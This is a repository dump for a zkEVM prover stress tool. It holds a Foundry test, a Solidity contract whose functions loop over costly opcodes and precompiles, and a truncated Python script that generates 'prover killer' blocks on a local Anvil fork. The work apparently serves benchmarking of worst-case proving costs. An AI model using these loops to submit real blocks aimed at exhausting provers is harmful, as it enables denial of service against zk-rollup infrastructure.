| 8 | interface IZKarnageYul { 9 | function f(uint256 opCode, uint256 gasThreshold, uint256 extra) external returns (uint256); 10 | } 11 | 12 | contract ZKarnageYulTest is Test { 13 | using stdJson for string; 14 | 15 | // Operation codes as defined in ZKarnage.yul 16 | uint256 constant OP_KECCAK = 0x0003; 17 | uint256 constant OP_SHA256 = 0x0023; 18 | uint256 constant OP_ECRECOVER = 0x0021; 19 | uint256 constant OP_MODEXP = 0x0027; 20 | 21 | // Contract address 22 | IZKarnageYul public zkarnage; 23 | uint256 public forkId; 24 | 25 | // Gas thresholds for stopping the loops 26 | uint256 constant GAS_THRESHOLD_HIGH = 100000; 27 | uint256 constant GAS_THRESHOLD_MEDIUM = 50000; 28 | uint256 constant GAS_THRESHOLD_LOW = 20000; 29 | 30 | // For testing gas limits - set a reasonable maximum gas to use in tests 31 | uint256 constant TEST_GAS_LIMIT = 5000000; // 5 million gas 32 | 33 | function setUp() public { 34 | // Get RPC URL 35 | string memory key = "ETH_RPC_URL"; 36 | string memory defaultValue = ""; 37 | string memory rpcUrl = vm.envOr(key, defaultValue); 38 | require(bytes(rpcUrl).length > 0, "ETH_RPC_URL env var not set"); 39 | 40 | // Create fork with latest block 41 | forkId = vm.createFork(rpcUrl); 42 | vm.selectFork(forkId); 43 | console.log("Fork created with ID:", forkId, "at block:", block.number); 44 | 45 | // Compile the contract using forge build 46 | string[] memory compileCmd = new string[](4); 47 | compileCmd[0] = "forge"; 48 | compileCmd[1] = "build"; 49 | compileCmd[2] = "--root"; 50 | compileCmd[3] = "."; 51 | 52 | console.log("Compiling contract..."); 53 | vm.ffi(compileCmd); 54 | 55 | // The artifact path for Yul files follows a specific pattern 56 | string memory artifactPath = "out/ZKarnage.yul/ZKarnage.json"; 57 | 58 | // Read the bytecode from the artifact 59 | console.log("Reading artifact from:", artifactPath); 60 | string memory artifactJson = vm.readFile(artifactPath); 61 | 62 | // Extract bytecode from JSON 63 | string memory bytecodeStr = stdJson.readString(artifactJson, ".bytecode.object"); 64 | console.log("Bytecode string:", bytecodeStr); 65 | 66 | // Convert the string to bytes, ensuring proper 0x prefix handling 67 | bytes memory bytecode; 68 | if (bytes(bytecodeStr).length > 0) { 69 | bytecode = vm.parseBytes(bytecodeStr); 70 | } else { 71 | revert("Failed to read bytecode from artifact"); 72 | } 73 | 74 | console.log("Bytecode length:", bytecode.length); 75 | 76 | // Deploy the contract 77 | console.log("Deploying contract..."); 78 | vm.startPrank(address(1)); // Use address(1) as deployer 79 | 80 | address zkarnageAddr; 81 | assembly { 82 | // Create the contract with the bytecode 83 | zkarnageAddr := create(0, add(bytecode, 0x20), mload(bytecode)) 84 | if iszero(extcodesize(zkarnageAddr)) { 85 | revert(0, 0) 86 | } 87 | } 88 | 89 | vm.stopPrank(); 90 | 91 | console.log("Deployed ZKarnage.yul at address:", zkarnageAddr); 92 | zkarnage = IZKarnageYul(zkarnageAddr); 93 | } 94 | 95 | function testKeccakOperation() public { 96 | console.log("\n=== Testing KECCAK Operation ==="); 97 | 98 | // Use a fixed gas amount for the test call 99 | uint256 gasToUse = TEST_GAS_LIMIT; 100 | uint256 startGas = gasleft(); 101 | 102 | // Only proceed with test if we have enough gas 103 | require(startGas > gasToUse, "Not enough gas for test"); 104 | 105 | // Calculate how much gas to forward to the call (startGas - gasToUse = gas we want to keep) 106 | uint256 gasForCall = gasToUse - 50000; // Reserve some gas for after the call 107 | 108 | // Invoke with limited gas 109 | uint256 result; 110 | bool success; 111 | address contractAddr = address(zkarnage); 112 | bytes memory callData = abi.encodeWithSelector( 113 | IZKarnageYul.f.selector, 114 | OP_KECCAK, 115 | GAS_THRESHOLD_MEDIUM, 116 | 0 117 | ); 118 | 119 | assembly { 120 | // Call with exact gas amount 121 | success := call( 122 | gasForCall, // Gas to forward 123 | contractAddr, // Target address 124 | 0, // No ETH sent 125 | add(callData, 0x20), // Call data pointer 126 | mload(callData), // Call data length 127 | 0, // Return data pointer 128 | 0 // Return data length 129 | ) 130 | 131 | // Load the first word of return data 132 | if success { 133 | returndatacopy(0, 0, 32) 134 | result := mload(0) 135 | } 136 | } 137 | 138 | // Check that the call succeeded 139 | assertTrue(success, "Call to Keccak operation failed"); 140 | 141 | uint256 gasUsed = startGas - gasleft(); 142 | console.log("Keccak attack result:", result); 143 | console.log("Gas used:", gasUsed); 144 | console.log("Gas forwarded to call:", gasForCall); 145 | 146 | // The gas used should be close to our limit but not exceed it 147 | assertLt(gasUsed, startGas, "Used more gas than available"); 148 | assertTrue(gasUsed > gasForCall / 2, "Used suspiciously little gas"); 149 | } 150 | 151 | function testSha256Operation() public { 152 | console.log("\n=== Testing SHA256 Operation ==="); 153 | 154 | // Use a fixed gas amount for the test call 155 | uint256 gasToUse = TEST_GAS_LIMIT; 156 | uint256 startGas = gasleft(); 157 | 158 | // Only proceed with test if we have enough gas 159 | require(startGas > gasToUse, "Not enough gas for test"); 160 | 161 | // Calculate how much gas to forward to the call 162 | uint256 gasForCall = gasToUse - 50000; // Reserve some gas for after the call 163 | 164 | // Invoke with limited gas 165 | uint256 result; 166 | bool success; 167 | address contractAddr = address(zkarnage); 168 | bytes memory callData = abi.encodeWithSelector( 169 | IZKarnageYul.f.selector, 170 | OP_SHA256, 171 | GAS_THRESHOLD_MEDIUM, 172 | 0 173 | ); 174 | 175 | assembly { 176 | // Call with exact gas amount 177 | success := call( 178 | gasForCall, // Gas to forward 179 | contractAddr, // Target address 180 | 0, // No ETH sent 181 | add(callData, 0x20), // Call data pointer 182 | mload(callData), // Call data length 183 | 0, // Return data pointer 184 | 0 // Return data length 185 | ) 186 | 187 | // Load the first word of return data 188 | if success { 189 | returndatacopy(0, 0, 32) 190 | result := mload(0) 191 | } 192 | } 193 | 194 | // Check that the call succeeded 195 | assertTrue(success, "Call to SHA256 operation failed"); 196 | 197 | uint256 gasUsed = startGas - gasleft(); 198 | console.log("SHA256 attack result:", result); 199 | console.log("Gas used:", gasUsed); 200 | console.log("Gas forwarded to call:", gasForCall); 201 | 202 | // The gas used should be close to our limit but not exceed it 203 | assertLt(gasUsed, startGas, "Used more gas than available"); 204 | assertTrue(gasUsed > gasForCall / 2, "Used suspiciously little gas"); 205 | } 206 | 207 | function testEcrecoverOperation() public { 208 | console.log("\n=== Testing ECRECOVER Operation ==="); 209 | 210 | // Use a fixed gas amount for the test call 211 | uint256 gasToUse = TEST_GAS_LIMIT; 212 | uint256 startGas = gasleft(); 213 | 214 | // Only proceed with test if we have enough gas 215 | require(startGas > gasToUse, "Not enough gas for test"); 216 | 217 | // Calculate how much gas to forward to the call 218 | uint256 gasForCall = gasToUse - 50000; // Reserve some gas for after the call 219 | 220 | // Invoke with limited gas 221 | uint256 result; 222 | bool success; 223 | address contractAddr = address(zkarnage); 224 | bytes memory callData = abi.encodeWithSelector( 225 | IZKarnageYul.f.selector, 226 | OP_ECRECOVER, 227 | GAS_THRESHOLD_MEDIUM, 228 | 0 229 | ); 230 | 231 | assembly { 232 | // Call with exact gas amount 233 | success := call( 234 | gasForCall, // Gas to forward 235 | contractAddr, // Target address 236 | 0, // No ETH sent 237 | add(callData, 0x20), // Call data pointer 238 | mload(callData), // Call data length 239 | 0, // Return data pointer 240 | 0 // Return data length 241 | ) 242 | 243 | // Load the first word of return data 244 | if success { 245 | returndatacopy(0, 0, 32) 246 | result := mload(0) 247 | } 248 | } 249 | 250 | // Check that the call succeeded 251 | assertTrue(success, "Call to ECRECOVER operation failed"); 252 | 253 | uint256 gasUsed = startGas - gasleft(); 254 | console.log("ECRECOVER attack result:", result); 255 | console.log("Gas used:", gasUsed); 256 | console.log("Gas forwarded to call:", gasForCall); 257 | 258 | // The gas used should be close to our limit but not exceed it 259 | assertLt(gasUsed, startGas, "Used more gas than available"); 260 | assertTrue(gasUsed > gasForCall / 2, "Used suspiciously little gas"); 261 | } 262 | 263 | function testModexpOperation() public { 264 | console.log("\n=== Testing MODEXP Operation ==="); 265 | 266 | // Use a fixed gas amount for the test call 267 | uint256 gasToUse = TEST_GAS_LIMIT; 268 | uint256 startGas = gasleft(); 269 | 270 | // Only proceed with test if we have enough gas 271 | require(startGas > gasToUse, "Not enough gas for test"); 272 | 273 | // Calculate how much gas to forward to the call 274 | uint256 gasForCall = gasToUse - 50000; // Reserve some gas for after the call 275 | 276 | // Invoke with limited gas 277 | uint256 result; 278 | bool success; 279 | address contractAddr = address(zkarnage); 280 | bytes memory callData = abi.encodeWithSelector( 281 | IZKarnageYul.f.selector, 282 | OP_MODEXP, 283 | GAS_THRESHOLD_MEDIUM, 284 | 0 285 | ); 286 | 287 | assembly { 288 | // Call with exact gas amount 289 | success := call( 290 | gasForCall, // Gas to forward 291 | contractAddr, // Target address 292 | 0, // No ETH sent 293 | add(callData, 0x20), // Call data pointer 294 | mload(callData), // Call data length 295 | 0, // Return data pointer 296 | 0 // Return data length 297 | ) 298 | 299 | // Load the first word of return data 300 | if success { 301 | returndatacopy(0, 0, 32) 302 | result := mload(0) 303 | } 304 | } 305 | 306 | // Check that the call succeeded 307 | assertTrue(success, "Call to MODEXP operation failed"); 308 | 309 | uint256 gasUsed = startGas - gasleft(); 310 | console.log("MODEXP attack result:", result); 311 | console.log("Gas used:", gasUsed); 312 | console.log("Gas forwarded to call:", gasForCall); 313 | 314 | // The gas used should be close to our limit but not exceed it 315 | assertLt(gasUsed, startGas, "Used more gas than available"); 316 | assertTrue(gasUsed > gasForCall / 2, "Used suspiciously little gas"); 317 | } 318 | 319 | function testDifferentThresholds() public { 320 | console.log("\n=== Testing Different Gas Thresholds ==="); 321 | 322 | // Use assembly with gas limit for high threshold test 323 | uint256 gasForCallHigh = 3000000; // 3 million gas 324 | uint256 result1; 325 | bool success1; 326 | address contractAddr = address(zkarnage); 327 | bytes memory callDataHigh = abi.encodeWithSelector( 328 | IZKarnageYul.f.selector, 329 | OP_KECCAK, 330 | GAS_THRESHOLD_HIGH, 331 | 0 332 | ); 333 | 334 | assembly { 335 | success1 := call( 336 | gasForCallHigh, 337 | contractAddr, 338 | 0, 339 | add(callDataHigh, 0x20), 340 | mload(callDataHigh), 341 | 0, 342 | 0 343 | ) 344 | if success1 { 345 | returndatacopy(0, 0, 32) 346 | result1 := mload(0) 347 | } 348 | } 349 | 350 | // Use assembly with gas limit for low threshold test 351 | uint256 gasForCallLow = 1000000; // 1 million gas 352 | uint256 result2; 353 | bool success2; 354 | bytes memory callDataLow = abi.encodeWithSelector( 355 | IZKarnageYul.f.selector, 356 | OP_KECCAK, 357 | GAS_THRESHOLD_LOW, 358 | 0 359 | ); 360 | 361 | assembly { 362 | success2 := call( 363 | gasForCallLow, 364 | contractAddr, 365 | 0, 366 | add(callDataLow, 0x20), 367 | mload(callDataLow), 368 | 0, 369 | 0 370 | ) 371 | if success2 { 372 | returndatacopy(0, 0, 32) 373 | result2 := mload(0) 374 | } 375 | } 376 | 377 | assertTrue(success1, "High threshold call failed"); 378 | assertTrue(success2, "Low threshold call failed"); 379 | 380 | console.log("KECCAK with high threshold - Gas limit:", gasForCallHigh); 381 | console.log("KECCAK with low threshold - Gas limit:", gasForCallLow); 382 | 383 | // The low threshold should complete sooner, thus using less gas 384 | // But this is hard to verify directly in this model 385 | } 386 | 387 | function testInvalidOperation() public { 388 | console.log("\n=== Testing Invalid Operation ==="); 389 | 390 | // Try to call with an invalid operation code - should revert 391 | uint256 gasForCall = 500000; 392 | bool success; 393 | address contractAddr = address(zkarnage); 394 | bytes memory callData = abi.encodeWithSelector( 395 | IZKarnageYul.f.selector, 396 | 0x1234, // Invalid op code 397 | GAS_THRESHOLD_MEDIUM, 398 | 0 399 | ); 400 | 401 | assembly { 402 | success := call( 403 | gasForCall, 404 | contractAddr, 405 | 0, 406 | add(callData, 0x20), 407 | mload(callData), 408 | 0, 409 | 0 410 | ) 411 | } 412 | 413 | // Should fail with invalid opcode 414 | assertFalse(success, "Call with invalid opcode should fail"); 415 | } 416 | } -------------------------------------------------------------------------------- /src/ZKarnage.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | contract ZKarnage { 5 | event ContractAccessed(address indexed target, uint256 size); 6 | event AttackSummary(uint256 numContracts, uint256 totalSize); 7 | event ModExpResult(uint256 gasUsed, uint256 result); 8 | event PrecompileResult(string name, uint256 gasUsed); 9 | event OpcodeResult(string name, uint256 gasUsed); 10 | 11 | // Storage variables to ensure hash results are used and persisted 12 | bytes32 public accumulatedHash; 13 | bytes32 public accumulatedSha256Hash; 14 | 15 | // Precompile addresses 16 | address constant ECRECOVER_PRECOMPILE = 0x0000000000000000000000000000000000000001; 17 | address constant SHA256_PRECOMPILE = 0x0000000000000000000000000000000000000002; 18 | address constant IDENTITY_PRECOMPILE = 0x0000000000000000000000000000000000000004; 19 | address constant MODEXP_PRECOMPILE = 0x0000000000000000000000000000000000000005; 20 | address constant BN_ADD_PRECOMPILE = 0x0000000000000000000000000000000000000006; 21 | address constant BN_MUL_PRECOMPILE = 0x0000000000000000000000000000000000000007; 22 | address constant BN_PAIRING_PRECOMPILE = 0x0000000000000000000000000000000000000008; 23 | 24 | // Original EXTCODESIZE attack 25 | function executeAttack(address[] calldata targets) external { 26 | uint256 totalSize = 0; 27 | 28 | for (uint256 i = 0; i < targets.length; i++) { 29 | address target = targets[i]; 30 | uint256 size; 31 | 32 | assembly { 33 | size := extcodesize(target) 34 | } 35 | 36 | totalSize += size; 37 | emit ContractAccessed(target, size); 38 | } 39 | 40 | emit AttackSummary(targets.length, totalSize); 41 | } 42 | 43 | // JUMPDEST attack - Most expensive opcode (1037.68 cycles/gas) 44 | function executeJumpdestAttack(uint256 iterations) external { 45 | uint256 gasStart = gasleft(); 46 | uint256 result; 47 | 48 | assembly { 49 | for { let i := 0 } lt(i, iterations) { i := add(i, 1) } { 50 | // Force jumps through labeled blocks 51 | let x := 1 52 | switch x 53 | case 1 { result := 1 } 54 | case 2 { result := 2 } 55 | case 3 { result := 3 } 56 | case 4 { result := 4 } 57 | case 5 { result := 5 } 58 | } 59 | } 60 | 61 | emit OpcodeResult("JUMPDEST", gasStart - gasleft()); 62 | } 63 | 64 | // MCOPY attack - Second most expensive opcode (666.39 cycles/gas) 65 | function executeMcopyAttack(uint256 size, uint256 iterations) external { 66 | uint256 gasStart = gasleft(); 67 | bytes memory data = new bytes(size); 68 | 69 | assembly { 70 | for { let i := 0 } lt(i, iterations) { i := add(i, 1) } { 71 | // Perform memory operations using mstore/mload 72 | let value := mload(add(data, 64)) 73 | mstore(add(data, 32), value) 74 | value := mload(add(data, 96)) 75 | mstore(add(data, 64), value) 76 | value := mload(add(data, 128)) 77 | mstore(add(data, 96), value) 78 | } 79 | } 80 | 81 | emit OpcodeResult("MCOPY", gasStart - gasleft()); 82 | } 83 | 84 | // CALLDATACOPY attack - Third most expensive opcode (580.81 cycles/gas) 85 | function executeCalldatacopyAttack(uint256 size, uint256 iterations) external { 86 | uint256 gasStart = gasleft(); 87 | bytes memory output = new bytes(size); 88 | 89 | assembly { 90 | for { let i := 0 } lt(i, iterations) { i := add(i, 1) } { 91 | calldatacopy(add(output, 32), 0, size) 92 | } 93 | } 94 | 95 | emit OpcodeResult("CALLDATACOPY", gasStart - gasleft()); 96 | } 97 | 98 | // MODEXP attack targeting worst case from EIP-7883 99 | function executeModExpAttack(uint256 iterations) external { 100 | bytes memory base = new bytes(32); // 32 bytes 101 | bytes memory exponent = new bytes(64); // 64 bytes to trigger higher cost 102 | bytes memory modulus = new bytes(32); // 32 bytes 103 | 104 | // Fill with non-zero values to maximize complexity 105 | for(uint i = 0; i < base.length; i++) base[i] = 0xFF; 106 | for(uint i = 0; i < exponent.length; i++) exponent[i] = 0xFF; 107 | for(uint i = 0; i < modulus.length; i++) modulus[i] = 0xFF; 108 | 109 | uint256 inputSize = 32 + base.length + exponent.length + modulus.length; 110 | bytes memory input = new bytes(inputSize); 111 | 112 | assembly { 113 | mstore(add(input, 32), 32) // base length 114 | mstore(add(input, 64), 64) // exponent length 115 | mstore(add(input, 96), 32) // modulus length 116 | mstore(add(input, 128), mload(add(base, 32))) 117 | mstore(add(input, 160), mload(add(exponent, 32))) 118 | mstore(add(input, 192), mload(add(exponent, 64))) 119 | mstore(add(input, 224), mload(add(modulus, 32))) 120 | } 121 | 122 | uint256 gasStart = gasleft(); 123 | bool success; 124 | 125 | for(uint i = 0; i < iterations; i++) { 126 | // Use a large gas stipend, but it shouldn't consume nearly this much per call 127 | assembly { 128 | success := call(500000, MODEXP_PRECOMPILE, 0, add(input, 32), inputSize, 0, 32) 129 | } 130 | // Revert if any single call fails 131 | require(success, "MODEXP call failed"); 132 | } 133 | 134 | uint256 gasUsed = gasStart - gasleft(); 135 | emit PrecompileResult("MODEXP", gasUsed); 136 | } 137 | 138 | // BN_PAIRING attack - Most expensive precompile (37.91 cycles/gas) 139 | function executeBnPairingAttack(uint256 iterations) external { 140 | // Input for a single pairing check (2 points = 192 bytes) 141 | bytes memory input = new bytes(192); 142 | 143 | // Fill with valid pairing points that require max computation 144 | // Using 0xFF might not be valid points, but stresses the precompile 145 | for(uint i = 0; i < input.length; i++) { 146 | input[i] = 0xFF; 147 | } 148 | 149 | uint256 gasStart = gasleft(); 150 | bool success; 151 | 152 | for(uint i = 0; i < iterations; i++) { 153 | // Use a large gas stipend 154 | assembly { 155 | success := call(500000, BN_PAIRING_PRECOMPILE, 0, add(input, 32), 192, 0, 32) 156 | } 157 | // require(success, "BN_PAIRING call failed"); // Allow test to proceed even if call fails 158 | } 159 | 160 | uint256 gasUsed = gasStart - gasleft(); 161 | emit PrecompileResult("BN_PAIRING", gasUsed); 162 | } 163 | 164 | // BN_MUL attack - (17.48 cycles/gas) 165 | function executeBnMulAttack(uint256 iterations) external { 166 | // Input for point multiplication (128 bytes) 167 | bytes memory input = new bytes(128); 168 | 169 | // Fill with values to stress the precompile 170 | for(uint i = 0; i < input.length; i++) { 171 | input[i] = 0xFF; 172 | } 173 | 174 | uint256 gasStart = gasleft(); 175 | bool success; 176 | 177 | for(uint i = 0; i < iterations; i++) { 178 | // Use a large gas stipend 179 | assembly { 180 | // BN_MUL output is 64 bytes 181 | success := call(500000, BN_MUL_PRECOMPILE, 0, add(input, 32), 128, 0, 64) 182 | } 183 | // require(success, "BN_MUL call failed"); // Allow test to proceed even if call fails 184 | } 185 | 186 | uint256 gasUsed = gasStart - gasleft(); 187 | emit PrecompileResult("BN_MUL", gasUsed); 188 | } 189 | 190 | // ECRECOVER attack - (15.74 cycles/gas) 191 | function executeEcrecoverAttack(uint256 iterations) external { 192 | // Prepare inputs for ecrecover (128 bytes total) 193 | bytes32 hash = keccak256(abi.encodePacked(uint256(0))); // Example hash 194 | uint8 v = 27; // Valid v value (must be 27 or 28) 195 | bytes32 r = bytes32(uint256(1)); // Example r 196 | bytes32 s = bytes32(uint256(2)); // Example s 197 | 198 | // Pre-allocate memory for input to avoid allocation inside loop 199 | bytes memory input = new bytes(128); 200 | assembly { 201 | mstore(add(input, 0x20), hash) 202 | mstore(add(input, 0x40), v) 203 | mstore(add(input, 0x60), r) 204 | mstore(add(input, 0x80), s) 205 | } 206 | 207 | uint256 gasStart = gasleft(); 208 | bool success; 209 | address recoveredAddr; // To store result, preventing removal by optimizer 210 | 211 | for(uint i = 0; i < iterations; i++) { 212 | // Update hash slightly per iteration to ensure work is done 213 | assembly { 214 | mstore(add(input, 0x20), keccak256(add(input, 0x20), 32)) 215 | } 216 | 217 | // Use a large gas stipend 218 | assembly { 219 | // ECRECOVER input starts at offset 32 (skip length), length 128 220 | // Output is address (32 bytes, right-padded with zeros) 221 | success := call(50000, ECRECOVER_PRECOMPILE, 0, add(input, 32), 128, 0, 32) 222 | recoveredAddr := mload(0) // Load result into memory 223 | } 224 | require(success, "ECRECOVER call failed"); 225 | } 226 | // Ensure recoveredAddr is used somehow (though event is primary output) 227 | if (recoveredAddr == address(0)) { } 228 | 229 | uint256 gasUsed = gasStart - gasleft(); 230 | emit PrecompileResult("ECRECOVER", gasUsed); 231 | } 232 | 233 | // KECCAK256 attack 234 | function executeKeccakAttack(uint256 iterations, uint256 dataSize) external { 235 | require(dataSize >= 32, "Data size must be at least 32 bytes"); 236 | require(dataSize <= 4096, "Data size must not exceed 4096 bytes"); 237 | 238 | uint256 gasStart = gasleft(); 239 | 240 | // Pure Yul implementation to defeat optimizer 241 | assembly { 242 | // Use smaller memory buffers for large iteration counts 243 | let actualDataSize := dataSize 244 | 245 | // For large iteration counts, limit data size to reduce memory pressure 246 | if gt(iterations, 50000) { 247 | actualDataSize := 512 248 | } 249 | 250 | // Allocate memory for our data buffer 251 | let memPtr := mload(0x40) // Get free memory pointer 252 | let dataPtr := add(memPtr, 32) // Skip first 32 bytes for length 253 | 254 | // Update free memory pointer 255 | mstore(0x40, add(dataPtr, actualDataSize)) 256 | 257 | // Initialize memory with non-zero data (only init the first 512 bytes to save gas) 258 | let i := 0 259 | for { } lt(i, 512) { i := add(i, 32) } { 260 | mstore(add(dataPtr, i), xor(i, timestamp())) 261 | } 262 | 263 | // Get block values for unpredictability 264 | let blockNum := number() 265 | let timeVal := timestamp() 266 | 267 | // Use accumulatedHash as starting point 268 | let runningHash := sload(accumulatedHash.slot) 269 | 270 | // Break into smaller batches of 5000 iterations to prevent stack/memory issues 271 | let batchSize := 5000 272 | let remainingIters := iterations 273 | 274 | // Batch processing loop 275 | for { } gt(remainingIters, 0) { } { 276 | // Calculate current batch 277 | let currentBatch := remainingIters 278 | if gt(currentBatch, batchSize) { 279 | currentBatch := batchSize 280 | } 281 | 282 | // Store the current batch number in memory to influence calculations 283 | mstore(add(dataPtr, 64), remainingIters) 284 | 285 | // Inner loop for this batch 286 | for { i := 0 } lt(i, currentBatch) { i := add(i, 1) } { 287 | // Change input based on counter & previous hash 288 | mstore(dataPtr, xor(runningHash, xor(i, blockNum))) 289 | mstore(add(dataPtr, 32), xor(i, timeVal)) 290 | 291 | // Do the keccak operation and save result 292 | runningHash := keccak256(dataPtr, actualDataSize) 293 | 294 | // Store back to influence next iteration 295 | mstore(dataPtr, runningHash) 296 | 297 | // Every 500 iterations, update storage to prevent optimization 298 | if eq(mod(i, 500), 499) { 299 | sstore(accumulatedHash.slot, runningHash) 300 | } 301 | } 302 | 303 | // Update remaining iterations 304 | remainingIters := sub(remainingIters, currentBatch) 305 | 306 | // Store intermediate result to storage after each batch 307 | sstore(accumulatedHash.slot, runningHash) 308 | } 309 | 310 | // Final storage of result 311 | sstore(accumulatedHash.slot, runningHash) 312 | 313 | // Log the final hash as a useful side effect 314 | log1(0, 0, runningHash) 315 | } 316 | 317 | uint256 gasUsed = gasStart - gasleft(); 318 | emit OpcodeResult("KECCAK256", gasUsed); 319 | } 320 | 321 | // SHA256 attack 322 | function executeSha256Attack(uint256 iterations, uint256 dataSize) external { 323 | require(dataSize >= 32, "Data size must be at least 32 bytes"); 324 | require(dataSize <= 4096, "Data size must not exceed 4096 bytes"); 325 | 326 | uint256 gasStart = gasleft(); 327 | 328 | // Pure Yul implementation to defeat optimizer 329 | assembly { 330 | // Use smaller memory buffers for large data and iterations 331 | let actualDataSize := dataSize 332 | 333 | // For large data sizes, limit size to reduce memory pressure 334 | if and(gt(iterations, 10000), gt(dataSize, 512)) { 335 | actualDataSize := 512 336 | } 337 | 338 | // Allocate memory for data and result 339 | let memPtr := mload(0x40) // Get free memory pointer 340 | let dataPtr := add(memPtr, 32) // Skip first 32 bytes for length 341 | let resultPtr := add(dataPtr, actualDataSize) // Space for result after data 342 | 343 | // Update free memory pointer 344 | mstore(0x40, add(resultPtr, 32)) // 32 bytes for result 345 | 346 | // Initialize memory with non-zero data (only init the first 512 bytes to save gas) 347 | let i := 0 348 | for { } lt(i, 512) { i := add(i, 32) } { 349 | mstore(add(dataPtr, i), xor(i, timestamp())) 350 | } 351 | 352 | // Get block values for unpredictability 353 | let blockNum := number() 354 | let timeVal := timestamp() 355 | 356 | // Use accumulatedSha256Hash as starting point 357 | let runningHash := sload(accumulatedSha256Hash.slot) 358 | mstore(dataPtr, runningHash) 359 | 360 | // Track success status 361 | let success := 1 362 | 363 | // Adjust batch size based on data size to prevent out-of-gas errors 364 | let batchSize := 5000 365 | if gt(actualDataSize, 1024) { 366 | batchSize := 2000 // Smaller batches for larger data 367 | } 368 | if gt(actualDataSize, 2048) { 369 | batchSize := 1000 // Even smaller batches for 2048+ byte data 370 | } 371 | 372 | // Break into smaller batches to prevent stack/memory issues 373 | let remainingIters := iterations 374 | 375 | // Batch processing loop 376 | for { } gt(remainingIters, 0) { } { 377 | // Calculate current batch 378 | let currentBatch := remainingIters 379 | if gt(currentBatch, batchSize) { 380 | currentBatch := batchSize 381 | } 382 | 383 | // Store the current batch number in memory to influence calculations 384 | mstore(add(dataPtr, 64), remainingIters) 385 | 386 | // Inner loop for this batch 387 | for { i := 0 } lt(i, currentBatch) { i := add(i, 1) } { 388 | // Change input based on counter & previous hash to ensure uniqueness 389 | mstore(dataPtr, xor(runningHash, xor(i, blockNum))) 390 | mstore(add(dataPtr, 32), xor(i, timeVal)) 391 | 392 | // Call SHA256 precompile 393 | success := staticcall(gas(), SHA256_PRECOMPILE, dataPtr, actualDataSize, resultPtr, 32) 394 | 395 | // Check success and revert if needed 396 | if iszero(success) { 397 | mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000) // Error signature 398 | mstore(4, 32) // String offset 399 | mstore(36, 27) // String length 400 | mstore(68, "SHA256 precompile call failed") // Error message 401 | revert(0, 100) 402 | } 403 | 404 | // Get result and use for next iteration 405 | runningHash := mload(resultPtr) 406 | 407 | // Store back to influence next iteration 408 | mstore(dataPtr, runningHash) 409 | 410 | // Every 200 iterations, update storage to prevent optimization 411 | // Do this more frequently with large data 412 | if eq(mod(i, 200), 199) { 413 | sstore(accumulatedSha256Hash.slot, runningHash) 414 | } 415 | } 416 | 417 | // Update remaining iterations 418 | remainingIters := sub(remainingIters, currentBatch) 419 | 420 | // Store intermediate result to storage after each batch 421 | sstore(accumulatedSha256Hash.slot, runningHash) 422 | } 423 | 424 | // Final storage of result 425 | sstore(accumulatedSha256Hash.slot, runningHash) 426 | 427 | // Log the final hash as a useful side effect 428 | log1(0, 0, runningHash) 429 | } 430 | 431 | uint256 gasUsed = gasStart - gasleft(); 432 | emit PrecompileResult("SHA256", gasUsed); 433 | } 434 | } -------------------------------------------------------------------------------- /script/generate_block.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse 4 | import json 5 | import os 6 | import subprocess 7 | import sys 8 | import time 9 | from pathlib import Path 10 | from typing import Dict, List, Optional, Union 11 | 12 | from web3 import Web3 13 | 14 | # Operation code mapping 15 | OPERATION_CODES = { 16 | "keccak": "0x0003", 17 | "sha256": "0x0023", 18 | "modexp": "0x0027", 19 | "ecrecover": "0x0021", 20 | } 21 | 22 | def parse_args(): 23 | parser = argparse.ArgumentParser(description="Generate a prover killer block using ZKarnage") 24 | parser.add_argument( 25 | "--attack-type", 26 | required=True, 27 | choices=list(OPERATION_CODES.keys()), 28 | help="The type of operation to test", 29 | ) 30 | parser.add_argument( 31 | "--gas-limit", 32 | type=int, 33 | default=5000000, 34 | help="Gas limit for the transaction (default: 5,000,000)", 35 | ) 36 | parser.add_argument( 37 | "--gas-threshold", 38 | type=int, 39 | default=50000, 40 | help="Gas threshold at which to stop looping (default: 50,000)", 41 | ) 42 | parser.add_argument( 43 | "--fork-block", 44 | type=int, 45 | default=22222222, 46 | help="Block number to fork from (default: 22,222,222)", 47 | ) 48 | parser.add_argument( 49 | "--output-file", 50 | type=str, 51 | help="Output file for the block JSON (default: out/block_{attack_type}_{gas_limit}_{gas_threshold}_fork_{fork_block}.json)", 52 | ) 53 | parser.add_argument( 54 | "--rpc-url", 55 | type=str, 56 | required=True, 57 | help="Mainnet RPC URL for forking", 58 | ) 59 | parser.add_argument( 60 | "--anvil-port", 61 | type=int, 62 | default=8545, 63 | help="Port for the Anvil instance (default: 8545)", 64 | ) 65 | parser.add_argument( 66 | "--private-key", 67 | type=str, 68 | default="0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80", # Anvil default account 69 | help="Private key for sending transactions (default: Anvil's first account)", 70 | ) 71 | parser.add_argument( 72 | "--contract-path", 73 | type=str, 74 | default="src/ZKarnage.yul", 75 | help="Path to the Yul contract (default: src/ZKarnage.yul)", 76 | ) 77 | args = parser.parse_args() 78 | 79 | # Set default output file if not provided 80 | if not args.output_file: 81 | # Create a directory structure for outputs 82 | out_dir = Path("out") 83 | blocks_dir = out_dir / "blocks" 84 | 85 | # Create the directories if they don't exist 86 | blocks_dir.mkdir(parents=True, exist_ok=True) 87 | 88 | # Generate a descriptive filename 89 | args.output_file = f"{blocks_dir}/block_{args.attack_type}_{args.gas_limit}_{args.gas_threshold}_fork_{args.fork_block}.json" 90 | print(f"Output will be saved to: {args.output_file}") 91 | 92 | return args 93 | 94 | def start_anvil(rpc_url: str, fork_block: int, port: int) -> subprocess.Popen: 95 | """Start anvil process forking from the specified block and forward its output""" 96 | cmd = [ 97 | "anvil", 98 | "--fork-url", rpc_url, 99 | "--fork-block-number", str(fork_block), 100 | "--port", str(port), 101 | # Enable more verbose logging 102 | "-vvvv" 103 | ] 104 | 105 | print("Starting Anvil...") 106 | # Start Anvil without redirecting stdout/stderr so logs show in console 107 | process = subprocess.Popen( 108 | cmd, 109 | stdout=subprocess.PIPE, 110 | stderr=subprocess.STDOUT, # Redirect stderr to stdout 111 | text=True, 112 | bufsize=1, # Line buffered 113 | universal_newlines=True 114 | ) 115 | 116 | # Start a thread to read and print Anvil's output 117 | def print_output(process): 118 | for line in iter(process.stdout.readline, ''): 119 | print(f"Anvil: 